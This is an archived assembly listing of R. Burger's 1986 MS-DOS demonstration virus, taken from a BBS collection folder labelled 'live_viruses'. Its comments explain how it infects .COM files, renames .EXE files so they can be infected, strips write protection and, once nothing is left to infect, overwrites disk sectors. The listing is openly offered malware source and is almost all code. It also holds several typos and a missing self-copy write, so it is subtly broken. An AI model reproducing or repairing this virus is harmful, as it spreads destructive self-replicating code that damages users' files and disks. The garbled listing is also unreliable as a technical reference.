home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / virus.asm < prev    next >
Assembly Source File  |  1989-06-25  |  12KB  |  396 lines

  1. ;                        Virus in Assembly Language
  2. ;                        --------------------------
  3.  
  4. ;Most viruses out there have been written in assembly because assembly has the
  5. ;unique ability to bypass operating system security.
  6. ;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
  7. ;compiled in the later versions. The article contains remarks so as to further
  8. ;explain the parts. Programmers may wish to delete those segments if desired.
  9.  
  10. ;**************************************************
  11. ;   Program Virus        
  12. ;   Version 1.1
  13. ;   Writter : R. Burger
  14. ;   Created 1986
  15. ;   This is a demonstration program for computer 
  16. ;   viruses. It has the ability to replace itself.
  17. ;   and thereby modify other programs. Enjoy.
  18. ;**************************************************
  19.  
  20. Code   Segment
  21.        Assume  CS:Code
  22. progr  equ 100h
  23.        ORG progr
  24.  
  25. ;**************************************************
  26. ;   The three NOP's serve as the marker byte of the  
  27. ;   virus which allow it to identify a virus.
  28. ;**************************************************
  29.  
  30. MAIN:
  31.        nop
  32.        nop
  33.        nop
  34.  
  35. ;**************************************************
  36. ;   Initialize the pointers
  37. ;**************************************************
  38.  
  39.        mov ax,00
  40.        mov es:[pointer],ax
  41.        mov es:[counter],ax
  42.        mov es:[disks],al
  43.  
  44. ;**************************************************
  45. ;   Get the selected drive
  46. ;**************************************************
  47.  
  48.        mov ah,19h             ;drive?
  49.        int 21h    
  50.  
  51. ;**************************************************
  52. ;   Get the current path on the current drive
  53. ;**************************************************
  54.  
  55.        mov cs:drive,al        ;save drive
  56.        mov ah,47h             ;dir?
  57.        mov dh,0               
  58.        add al,1
  59.        mov dl,al              ;in actual drive
  60.        lea si,cs:old_path     ;
  61.        int 21h
  62.  
  63. ;**************************************************
  64. ;   Get the number of drives present. If only one   
  65. ;   is present, the pointer for the search order
  66. ;   will be set to serach order + 6
  67. ;**************************************************
  68.  
  69.        mov as,0eh             ;how many disks 
  70.        mov dl,0               ;
  71.        int 21h
  72.  
  73.        mov al,01
  74.        cmp al,01              ;one drive
  75.        jnz hups3
  76.        mov al,06
  77.        
  78. hups3: mov ah,0
  79.        lea bx,search_order
  80.        add bx,ax
  81.        add bx,0001h
  82.        mov cs:pointer,bx
  83.        clc
  84.  
  85. ;**************************************************
  86. ;   Carry is set, if no more .COM's are found.      
  87. ;   Then, to avoid unnecessary work, .EXE files will
  88. ;   be renamed to .COM files and infected.
  89. ;   This causes the error message "Program to large
  90. ;   to fit memory" when starting larger infected
  91. ;   EXE programs.
  92. ;*************************************************
  93.  
  94. change_disk:
  95.       jnc no_name_change
  96.       mov ah,17h              ;change .EXE to .COM
  97.       lea dx,cs:maske_exe
  98.       int 21h
  99.       cmp al,0ffh
  100.       jnz no_name_change      ;.EXE found?
  101.  
  102. ;****************************************************
  103. ;   If neither  .COM nor .EXE is found then sectors
  104. ;   will be overwritten depending on the system time
  105. ;   in milliseconds. This is the time of the complete
  106. ;   "infection" of a storage medium. The virus can
  107. ;   find nothing more to infect and starts its destruction
  108. ;*****************************************************   
  109.  
  110.       mov ah,2ch              ; read system clock
  111.       int 21h
  112.       mov bx,cs:pointer
  113.       mov al,cs:[bx]
  114.       mov bx,dx
  115.       mov cx,2
  116.       mov dh,0
  117.       int 26h                 ; write crap on disk
  118.  
  119. ;******************************************************
  120. ;   Check if the end of the search order table has been
  121. ;   reached . If so, end.
  122. ;******************************************************
  123.  
  124. no_name_change:
  125.       mov bx,cs:pointer
  126.       dec bx
  127.       mov cs:pointer,bx
  128.       mov dl,cs:[bx]
  129.       cmp dl,0ffh
  130.       jnz hups2
  131.       jmp hops
  132.       
  133. ;****************************************************
  134. ;   Get new drive from the search order table and
  135. ;   select it .
  136. ;***************************************************
  137.  
  138. hups2:
  139.       mov ah,0eh
  140.       int 21h                    ;change disk
  141.  
  142. ;***************************************************
  143. ;   Start in the root directory
  144. ;***************************************************  
  145.  
  146.       mov ah,3bh                 ;change path
  147.       lea dx,path
  148.       int 21h
  149.       jmp find_first_file
  150.  
  151. ;**************************************************
  152. ;   Starting from the root, search for the first
  153. ;   subdir. FIrst convert all .EXE files to .COM
  154. ;   in the old directory
  155. ;**************************************************
  156.  
  157. find_first_subdir:
  158.       mov ah,17h                 ;change .exe to .com
  159.       lea dx,cs:maske_exe
  160.       int 21h
  161.       mov ah,3bh                 ;use root directory
  162.       lea dx,path
  163.       int 21h
  164.       mov ah,04eh                ;search for first subdirectory
  165.       mov cx,00010001b           ;dir mask
  166.       lea dx,maske_dir           ;
  167.       int 21h                    ;
  168.       jc change_disk
  169.       mov bx,CS:counter
  170.       INC,BX
  171.       DEC bx
  172.       jz  use_next_subdir
  173.  
  174. ;*************************************************
  175. ;   Search for the next subdirectory. If no more
  176. ;   directories are found, the drive will be changed.
  177. ;*************************************************
  178.  
  179. find_next_subdir:
  180.       mov ah,4fh               ; search for next subdir
  181.       int 21h 
  182.       jc change_disk
  183.       dec bx
  184.       jnz find_next_subdir
  185.  
  186. ;*************************************************
  187. ;   Select found directory.
  188. ;**************************************************
  189.  
  190. use_next_subdir:      
  191.       mov ah,2fh               ;get dta address
  192.       int 21h
  193.       add bx,1ch
  194.       mov es:[bx],'\`          ;address of name in dta
  195.       inc bx
  196.       push ds
  197.       mov ax,es
  198.       mov ds,ax
  199.       mov dx,bx
  200.       mov ah,3bh               ;change path
  201.       int 21h
  202.       pop ds
  203.       mov bx,cs:counter
  204.       inc bx
  205.       mov CS:counter,bx
  206.  
  207. ;**************************************************
  208. ;    Find first .COM file in the current directory.
  209. ;    If there are none, search the next directory.
  210. ;**************************************************
  211.  
  212. find_first_file:
  213.       mov ah,04eh              ;Search for first
  214.       mov cx,00000001b         ;mask
  215.       lea dx,maske_com         ;
  216.       int 21h                  ;
  217.       jc find_first_subdir
  218.       jmp check_if_ill
  219.  
  220. ;**************************************************
  221. ;   If program is ill(infected) then search for
  222. ;   another other.
  223. ;************************************************** 
  224.  
  225. find_next_file:
  226.       mov ah,4fh               ;search for next
  227.       int 21h
  228.       jc find_first_subdir
  229.  
  230. ;*************************************************
  231. ;   Check is already infected by virus.
  232. ;**************************************************
  233.  
  234. check_if_ill:
  235.       mov ah,3dh              ;open channel
  236.       mov al,02h              ;read/write
  237.       mov dx,9eh              ;address of name in dta 
  238.       int 21
  239.       mov bx,ax               ;save channel
  240.       mov ah,3fh              ; read file
  241.       mov ch,buflen           ;
  242.       mov dx,buffer           ;write in buffer
  243.       int 21h 
  244.       mov ah,3eh              ;close file
  245.       int 21h  
  246.  
  247. ;***************************************************
  248. ;   This routine will search the three NOP's(no 
  249. ;   operation).If present there is already an infection.
  250. ;   We must then continue the search
  251. ;****************************************************
  252.  
  253.      mov bx,cs:[buffer]
  254.      cmp bx,9090h
  255.      jz find_next_file
  256.  
  257. ;***************************************************
  258. ;   This routine will BY PASS MS-DOS WRITE PROTECTION
  259. ;   if present. Very important !
  260. ;***************************************************
  261.  
  262.      mov ah,43h               ;write enable
  263.      mov al,0          
  264.      mov dx,9eh               ;address of name in dta
  265.      int 21h 
  266.      mov ah,43h
  267.      mov al,01h
  268.      and cx,11111110b
  269.      int 21h
  270.  
  271. ;****************************************************
  272. ;   Open file for read/write access.
  273. ;*****************************************************
  274.  
  275.      mov ah,3dh               ;open channel
  276.      mov al,02h               ;read/write
  277.      mov dx,9eh               ;address of name in dta
  278.      int 21h
  279.  
  280. ;****************************************************
  281. ;   Read date entry of program and save for future
  282. ;   use.
  283. ;****************************************************
  284.  
  285.     mov bx,ax                ;channel
  286.     mov ah,57h               ;get date
  287.     mov al.0
  288.     int 21h
  289.     push cx                  ;save date
  290.     push dx 
  291.  
  292. ;****************************************************
  293. ;   The jump located at address 0100h of the program
  294. ;   will be saved for further use.
  295. ;*****************************************************
  296.  
  297.     mov dx,cs:[conta]        ;save old jmp
  298.     mov cs:[jmpbuf],dx
  299.     mov dx,cs:[buffer+1]     ;save new jump
  300.     lea cx,cont-100h
  301.     sub dx,cx
  302.     mov cs:[conta],dx
  303.  
  304. ;***************************************************** 
  305. ;   The virus copies itself to the start of the file. 
  306. ;***************************************************** 
  307.  
  308.     mov ah,57h               ;write date
  309.     mov al,1         
  310.     pop dx
  311.     pop cx                   ;restore date
  312.     int 21h
  313.  
  314. ;*****************************************************
  315. ;   Close the file.
  316. ;*****************************************************
  317.  
  318.     mov ah,3eh               ;close file
  319.     int 21h
  320.  
  321. ;*****************************************************
  322. ;   Restore the old jump address. The virus saves at
  323. ;   address "conta" the jump which was at the start of
  324. ;   the host program.
  325. ;   This is done to preserve the executability of the
  326. ;   host program as much as possible.
  327. ;   After saving it still works with the jump address
  328. ;   contained in the virus. The jump address in the 
  329. ;   virus differs from the jump address in memory.
  330. ;****************************************************
  331.  
  332.     mov dx,cs:[jmpbuf]       ;restore old jump
  333.     mov cs:[conta],dx
  334. hops:  nop
  335.        call use_old
  336.  
  337. ;****************************************************
  338. ;   Continue with the host program.
  339. ;****************************************************
  340.     
  341. cont    db 0e9h                ;make jump
  342. conta   dw 0
  343.         mov ah,00
  344.         int 21h    
  345.  
  346. ;***************************************************
  347. ;   Reactivate the selected drive at the start of  
  348. ;   the program.
  349. ;***************************************************
  350.  
  351. use_old:
  352.         mov ah,0eh             ;use old drive
  353.         mov dl,cs:drive 
  354.         int 21h 
  355.  
  356. ;*************************************************** 
  357. ;    Reactivate the selected path at the start of
  358. ;    the program.
  359. ;***************************************************
  360.  
  361.         mov ah,3bh             ;use old drive
  362.         lea dx,old_path-1      ;get old path and backslash
  363.         int 21h
  364.         ret
  365.  
  366. search_order db 0ffh,1,0,2,3,0ffh,00,offh
  367. pointer      dw   0000           ;pointer f. search order
  368. counter      dw   0000           ;counter f. nth. search 
  369. disks        db    0             ;number of disks
  370.  
  371. maske_com    db "*.com",00       ;search for com files
  372. maske_dir    db "*",00           ;search for dir's
  373. maske_exe    db offh,0,0,0,0,0,00111111b 
  374.              db 0,"????????exe",0,0,0,0
  375.              db 0,"????????com",0
  376. maske_all    db offh,0,0,0,0,0,00111111b
  377.              db 0,"???????????",0,0,0,0
  378.              db 0,"????????com",0
  379.  
  380. buffer equ 0e00h                 ;a safe place
  381.  
  382. buflen equ 230h                  ;lenght of virus!!!!
  383.                                  ;carefull
  384.                                  ;if changing!!!!
  385. jmpbuf equ buffer+buflen         ;a safe place for jmp
  386. path  db "\",0                   ;first place
  387. drive db 0                       ;actual drive
  388. back_slash db "\"
  389. old_path db 32 dup (?)           ;old path
  390.  
  391. code ends
  392.  
  393. end main
  394.  
  395. ;[ END OF THIS VIRUS PROGRAM ]
  396.